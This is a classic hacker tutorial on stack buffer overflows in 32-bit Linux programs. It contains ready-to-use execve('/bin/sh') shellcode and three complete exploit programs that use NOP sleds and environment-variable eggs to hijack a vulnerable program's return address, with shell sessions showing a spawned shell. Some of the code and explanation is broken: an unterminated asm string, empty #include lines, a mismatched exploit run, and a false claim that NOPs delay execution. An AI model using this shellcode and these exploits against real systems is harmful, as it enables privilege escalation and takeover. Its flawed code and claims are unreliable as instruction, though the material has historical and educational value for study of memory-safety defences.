-----------------------[ BUFFEROVERFLOWS
by Lamagra buffer/example.c
void main()
{
char big_string[100];
char small_string[50];
memset(big_string,0x41,100);
/* strcpy(char *to,char *from) */
strcpy(small_string,big_string);
}
<--> end of example.c
The program creates two strings, memset() files the big_strings with
char 0x41 (= A). Then it copies the big_string into the small_string.
As we all see the small_string can't hold 100 chars and a bufferoverflow
follows.
Let's take a look at the memory:
[ big_string ] [ small_string ] [SFP] [RET]
During the bufferoverflow the SFP (Stack Frame Pointer) and the RET will
be overwritten by A's. This means that the RET will now be 0x41414141
(0x41 is the hex value of A). When the function returns, the IP will be
replaced by the overwritten RET. Then the computer will try to execute
the instruction at 0x41414141. This will result in a segmentation violation
because this address is outside the process space.
--------------------[ Exploitation
Now that we know we can change the flow of the program by overwriting the RET,
we can try to exploit it. Instead of overwriting with A's, we could
overwrite it with a specific address.
------------[ Execution of arbitrary code
Now we need something to point the address to and execute. In most cases
we'll just spawn a shell, although this is not the only thing we can do.
Before:
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
B = the buffer
E = stack frame pointer
R = return address
F = other data
After:
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
S = shellcode
A = address pointing to the shellcode
F = other data
The code to spawn a shell in C looks like this:
<++> buffer/shell.c
void main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
<--> end of shellcode
I'm not going to explain how to produce shellcode because this will require a
lot of knowledge in ASM. It's a long and boring process that we don't need to
get into because there is more than enough shellcode available.
For those who want to learn how to make it:
- compile the program above using the -static flag
- open it up in gdb, use the "disassemble main" command
- take all the unnecessary code
- change and rewrite it, this time in ASM
- compile, open it up in gdb and use the "disassemble main" command
- use the x/bx command on the addresses of the instructions
and retrieve the hex-code.
XXXXXXXXXXX
X WAKE UP X
XXXXXXXXXXX
Or you can just take this code
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
------------[ Finding the address
When we try to overflow a buffer of an another program, the problem is finding
the address of the buffer. The answer to this problem is that for every program
the stack starts at the same address. Therefore by knowing where the stack
starts we can try to guess the address of the buffer.
This program will give us its stack pointer:
<++> buffer/getsp.c
unsigned long get_sp(void){
__asm__("movl %esp, %eax);
}
void main(){
fprintf(stdout,"0x%x\n",get_sp());
}
<--> end of getsp.c
------------[ Trying to exploit an example
We're going to try to exploit this program:
<++> buffer/hole.c
void main(int argc,char **argv[]){
char buffer[512];
if (argc > 1) /* otherwise we crash our little program */
strcpy(buffer,argv[1]);
}
<--> end of hole.c
<++> buffer/exploit1.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
<--> end of exploit1.c
Now we can try to guess the offset (bufferaddress = stackpointer + offset).
[bubbles]$ exploit1 600
Using address: 0xbffff6c3
[bubbles]$ ./hole $BUF
[bubbles]$ exploit1 600 100
Using address: 0xbffffce6
[bubbles]$ ./hole $BUF
segmentation fault
etc.
etc.
As you see this process is nearly impossible, we have to guess the exact address
of the buffer. To increase our chances, we can pad NOP's before the shellcode
in our overflow buffer. The NOP instruction is used to delay execution.
We use it because then we don't need the guess the exact address of the buffer.
If the overwritten return address points inside the NOPstring. Our code will be
executed seconds later.
The memory should look like this:
FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
N = NOP
S = shellcode
A = address pointing to the shellcode
F = other data
We rewrite our old exploit.
<++> buffer/exploit2.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
<--> end of exploit2.c
[bubbles]$ exploit2 600
Using address: 0xbffff6c3
[bubbles]$ ./hole $BUF
segmentation fault
[bubbles]$ exploit2 600 100
Using address: 0xbffffce6
[bubbles]$ ./hole $BUF
#exit
[bubbles]$
To improve our exploit even more, we could place the shellcode inside an
environment variable. Then we could overflow the buffer with the address of this
variable. This method will increase our chances even more.
We modify our code so it uses the setenv() call to put the shellcode in the environment.
<++> buffer/exploit3.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"BUF=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
end of exploit3.c
[bubbles]$ exploit2 600
Using address: 0xbffff5d7
[bubbles]$ ./hole $RET
#exit
[bubbles]$
--------------------[ Finding bufferoverflows
There is really only one way to find bufferoverflows, and that is by reading the
source. Since Linux is an open-source system, it will be easy to obtain the source
of the programs. Long live open-source.
Look for library functions that don't preform boundary checking like:
strcpy(), strcat(), sprintf(), vsprintf(), scanf().
Other dangerous ones are:
getc() and getchar() put in a while loop.
misuse of strncat.
--------------------[ Other refrences
Smashing the stack for fun and profit by aleph1
bufferoverflows by mudge
--------------------[ Ending
Well that about wraps it up, i hope you learned something and enjoyed reading this guide.
I enjoyed writing it.
If you any further questions, remarks or anything, you can find me on IRC
(irc.box5.net) in some channel.
--------------------[ EOF